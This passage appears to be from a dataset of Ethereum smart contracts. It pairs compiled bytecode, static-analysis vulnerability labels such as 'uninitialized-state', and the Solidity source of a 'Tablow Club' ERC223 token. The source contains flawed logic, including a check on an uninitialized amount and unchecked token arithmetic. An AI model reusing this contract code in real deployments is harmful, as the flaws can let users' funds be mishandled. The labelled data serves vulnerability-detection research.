ffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f425444000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a72305820b673d13bc004040fe56b257ad6367ff2815c2503523014e178193d2837eac86b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 10,668 |
0xeab447c1e2b5a76b57f15e55eab504801aa6ceb0 | pragma solidity ^0.4.24;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223 {
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Tablow is ERC223 {
using SafeMath for uint;
string public symbol = "TC";
string public name = "Tablow Club";
uint8 public constant decimals = 18;
uint256 _totalSupply = 0;
uint256 _MaxDistribPublicSupply = 0;
uint256 _OwnerDistribSupply = 0;
uint256 _CurrentDistribPublicSupply = 0;
uint256 _FreeTokens = 0;
uint256 _Multiplier1 = 2;
uint256 _Multiplier2 = 3;
uint256 _LimitMultiplier1 = 4e15;
uint256 _LimitMultiplier2 = 8e15;
uint256 _HighDonateLimit = 5e16;
uint256 _BonusTokensPerETHdonated = 0;
address _DistribFundsReceiverAddress = 0;
address _remainingTokensReceiverAddress = 0;
address owner = 0;
bool setupDone = false;
bool IsDistribRunning = false;
bool DistribStarted = false;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _value);
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) public Claimed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Tablow() public {
owner = msg.sender;
}
function() public payable {
if (IsDistribRunning) {
uint256 _amount;
if (((_CurrentDistribPublicSupply + _amount) > _MaxDistribPublicSupply) && _MaxDistribPublicSupply > 0) revert();
if (!_DistribFundsReceiverAddress.send(msg.value)) revert();
if (Claimed[msg.sender] == false) {
_amount = _FreeTokens * 1e18;
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
Claimed[msg.sender] = true;
}
require(msg.value <= _HighDonateLimit);
if (msg.value >= 1e15) {
if (msg.value >= _LimitMultiplier2) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier2;
} else {
if (msg.value >= _LimitMultiplier1) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier1;
} else {
_amount = msg.value * _BonusTokensPerETHdonated;
}
}
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
}
} else {
revert();
}
}
function SetupToken(string tokenName, string tokenSymbol, uint256 BonusTokensPerETHdonated, uint256 MaxDistribPublicSupply, uint256 OwnerDistribSupply, address remainingTokensReceiverAddress, address DistribFundsReceiverAddress, uint256 FreeTokens) public {
if (msg.sender == owner && !setupDone) {
symbol = tokenSymbol;
name = tokenName;
_FreeTokens = FreeTokens;
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
_MaxDistribPublicSupply = MaxDistribPublicSupply * 1e18;
if (OwnerDistribSupply > 0) {
_OwnerDistribSupply = OwnerDistribSupply * 1e18;
_totalSupply = _OwnerDistribSupply;
balances[owner] = _totalSupply;
_CurrentDistribPublicSupply += _totalSupply;
Transfer(this, owner, _totalSupply);
}
_DistribFundsReceiverAddress = DistribFundsReceiverAddress;
if (_DistribFundsReceiverAddress == 0) _DistribFundsReceiverAddress = owner;
_remainingTokensReceiverAddress = remainingTokensReceiverAddress;
setupDone = true;
}
}
function SetupMultipliers(uint256 Multiplier1inX, uint256 Multiplier2inX, uint256 LimitMultiplier1inWei, uint256 LimitMultiplier2inWei, uint256 HighDonateLimitInWei) onlyOwner public {
_Multiplier1 = Multiplier1inX;
_Multiplier2 = Multiplier2inX;
_LimitMultiplier1 = LimitMultiplier1inWei;
_LimitMultiplier2 = LimitMultiplier2inWei;
_HighDonateLimit = HighDonateLimitInWei;
}
function SetBonus(uint256 BonusTokensPerETHdonated) onlyOwner public {
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
}
function SetFreeTokens(uint256 FreeTokens) onlyOwner public {
_FreeTokens = FreeTokens;
}
function StartDistrib() public returns(bool success) {
if (msg.sender == owner && !DistribStarted && setupDone) {
DistribStarted = true;
IsDistribRunning = true;
} else {
revert();
}
return true;
}
function StopDistrib() public returns(bool success) {
if (msg.sender == owner && IsDistribRunning) {
if (_remainingTokensReceiverAddress != 0 && _MaxDistribPublicSupply > 0) {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
if (_remainingAmount > 0) {
balances[_remainingTokensReceiverAddress] += _remainingAmount;
_totalSupply += _remainingAmount;
Transfer(this, _remainingTokensReceiverAddress, _remainingAmount);
}
}
DistribStarted = false;
IsDistribRunning = false;
} else {
revert();
}
return true;
}
function distribution(address[] addresses, uint256 _amount) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
require(addresses.length <= 255);
require(_amount <= _remainingAmount);
_amount = _amount * 1e18;
for (uint i = 0; i < addresses.length; i++) {
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
}
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
uint256 _amount;
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
_amount = amounts[i] * 1e18;
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
}
function BurnTokens(uint256 amount) public returns(bool success) {
uint256 _amount = amount * 1e18;
if (balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
_totalSupply -= _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0, _amount);
} else {
revert();
}
return true;
}
function totalSupply() public constant returns(uint256 totalSupplyValue) {
return _totalSupply;
}
function MaxDistribPublicSupply_() public constant returns(uint256 MaxDistribPublicSupply) {
return _MaxDistribPublicSupply;
}
function OwnerDistribSupply_() public constant returns(uint256 OwnerDistribSupply) {
return _OwnerDistribSupply;
}
function CurrentDistribPublicSupply_() public constant returns(uint256 CurrentDistribPublicSupply) {
return _CurrentDistribPublicSupply;
}
function RemainingTokensReceiverAddress() public constant returns(address remainingTokensReceiverAddress) {
return _remainingTokensReceiverAddress;
}
function DistribFundsReceiverAddress() public constant returns(address DistribfundsReceiver) {
return _DistribFundsReceiverAddress;
}
function Owner() public constant returns(address ownerAddress) {
return owner;
}
function SetupDone() public constant returns(bool setupDoneFlag) {
return setupDone;
}
function IsDistribRunningFalg_() public constant returns(bool IsDistribRunningFalg) {
return IsDistribRunning;
}
function IsDistribStarted() public constant returns(bool IsDistribStartedFlag) {
return DistribStarted;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value, bytes _data) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
}
function transfer(address _to, uint _value) {
uint codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value, empty);
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns(bool success) {
if (balances[_from] >= _amount &&
allowed[_from][msg.sender] >= _amount &&
_amount > 0 &&
balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balances[_owner];
}
} | 0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104ed578063095ea7b31461057d57806310eca945146105e257806318160ddd1461063757806318d69faa146106625780631d1cc622146106915780632092970f146106bc57806323b872dd146106eb5780632cd3fd7014610770578063313ce567146107b55780634d9a81d4146107e657806370a082311461081557806374c77b521461086c57806380ea82731461098357806390c6d1b9146109b057806395d89b41146109dd578063a8c310d514610a6d578063a9059cbb14610b16578063accbdfd014610b63578063b449c24d14610b92578063b4a99a4e14610bed578063be45fd6214610c44578063becf917f14610cd7578063c21bbe5614610d2e578063c52cb00314610d5d578063d21ceba014610d88578063d8489a8114610ddf578063dd62ed3e14610e0a578063e58fc54c14610e81578063f3e4877c14610edc575b6000600f60159054906101000a900460ff16156104e55760035481600554011180156101ae57506000600354115b156101b857600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561021a57600080fd5b60001515601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156103ad57670de0b6b3a76400006006540290508060056000828254019250508190555080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806002600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600b5434111515156103be57600080fd5b66038d7ea4c68000341015156104e057600a54341015156103e957600854600c54340202905061040d565b6009543410151561040457600754600c54340202905061040c565b600c54340290505b5b8060056000828254019250508190555080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806002600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b6104ea565b600080fd5b50005b3480156104f957600080fd5b50610502610f4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610542578082015181840152602081019050610527565b50505050905090810190601f16801561056f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058957600080fd5b506105c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fea565b604051808215151515815260200191505060405180910390f35b3480156105ee57600080fd5b5061063560048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506110dc565b005b34801561064357600080fd5b5061064c611162565b6040518082815260200191505060405180910390f35b34801561066e57600080fd5b5061067761116c565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a661138f565b6040518082815260200191505060405180910390f35b3480156106c857600080fd5b506106d1611399565b604051808215151515815260200191505060405180910390f35b3480156106f757600080fd5b50610756600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611469565b604051808215151515815260200191505060405180910390f35b34801561077c57600080fd5b5061079b60048036038101908080359060200190929190505050611770565b604051808215151515815260200191505060405180910390f35b3480156107c157600080fd5b506107ca6118d7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156107f257600080fd5b506107fb6118dc565b604051808215151515815260200191505060405180910390f35b34801561082157600080fd5b50610856600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f3565b6040518082815260200191505060405180910390f35b34801561087857600080fd5b50610981600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061193c565b005b34801561098f57600080fd5b506109ae60048036038101908080359060200190929190505050611c6c565b005b3480156109bc57600080fd5b506109db60048036038101908080359060200190929190505050611cd2565b005b3480156109e957600080fd5b506109f2611d38565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a32578082015181840152602081019050610a17565b50505050905090810190601f168015610a5f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a7957600080fd5b50610b146004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611dd6565b005b348015610b2257600080fd5b50610b61600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612006565b005b348015610b6f57600080fd5b50610b78612348565b604051808215151515815260200191505060405180910390f35b348015610b9e57600080fd5b50610bd3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061235f565b604051808215151515815260200191505060405180910390f35b348015610bf957600080fd5b50610c0261237f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5057600080fd5b50610cd5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506123a9565b005b348015610ce357600080fd5b50610cec6126e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d3a57600080fd5b50610d43612712565b604051808215151515815260200191505060405180910390f35b348015610d6957600080fd5b50610d72612729565b6040518082815260200191505060405180910390f35b348015610d9457600080fd5b50610d9d612733565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610deb57600080fd5b50610df461275d565b6040518082815260200191505060405180910390f35b348015610e1657600080fd5b50610e6b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612767565b6040518082815260200191505060405180910390f35b348015610e8d57600080fd5b50610ec2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127ee565b604051808215151515815260200191505060405180910390f35b348015610ee857600080fd5b50610f4a6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050612a33565b005b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fe25780601f10610fb757610100808354040283529160200191610fe2565b820191906000526020600020905b815481529060010190602001808311610fc557829003601f168201915b505050505081565b600081601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113857600080fd5b84600781905550836008819055508260098190555081600a8190555080600b819055505050505050565b6000600254905090565b600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156111d85750600f60159054906101000a900460ff165b15611382576000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561122857506000600354115b15611347576005546003540390506000811115611346578060106000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600260008282540192505081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b6000600f60166101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff021916908315150217905550611387565b600080fd5b600191505090565b6000600554905090565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156114055750600f60169054906101000a900460ff16155b801561141d5750600f60149054906101000a900460ff165b1561145d576001600f60166101000a81548160ff0219169083151502179055506001600f60156101000a81548160ff021916908315150217905550611462565b600080fd5b6001905090565b600081601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611536575081601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156115425750600082115b80156115cd5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b156117645781601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611769565b600090505b9392505050565b600080670de0b6b3a76400008302905080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156118c85780601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806002600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a260003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36118cd565b600080fd5b6001915050919050565b601281565b6000600f60169054906101000a900460ff16905090565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600f60149054906101000a900460ff16155b15611c625786600090805190602001906119c1929190612c82565b5087600190805190602001906119d8929190612c82565b508060068190555085600c81905550670de0b6b3a764000085026003819055506000841115611b1f57670de0b6b3a7640000840260048190555060045460028190555060025460106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600254600560008282540192505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040518082815260200191505060405180910390a35b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c0557600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b82600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60146101000a81548160ff0219169083151502179055505b5050505050505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cc857600080fd5b80600c8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d2e57600080fd5b8060068190555050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dce5780601f10611da357610100808354040283529160200191611dce565b820191906000526020600020905b815481529060010190602001808311611db157829003601f168201915b505050505081565b6000806000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3757600080fd5b60055460035403925060ff855111151515611e5157600080fd5b83518551141515611e6157600080fd5b600090505b84518160ff161015611fff57670de0b6b3a7640000848260ff16815181101515611e8c57fe5b90602001906020020151029150828211151515611ea857600080fd5b816005600082825401925050819055508160106000878460ff16815181101515611ece57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff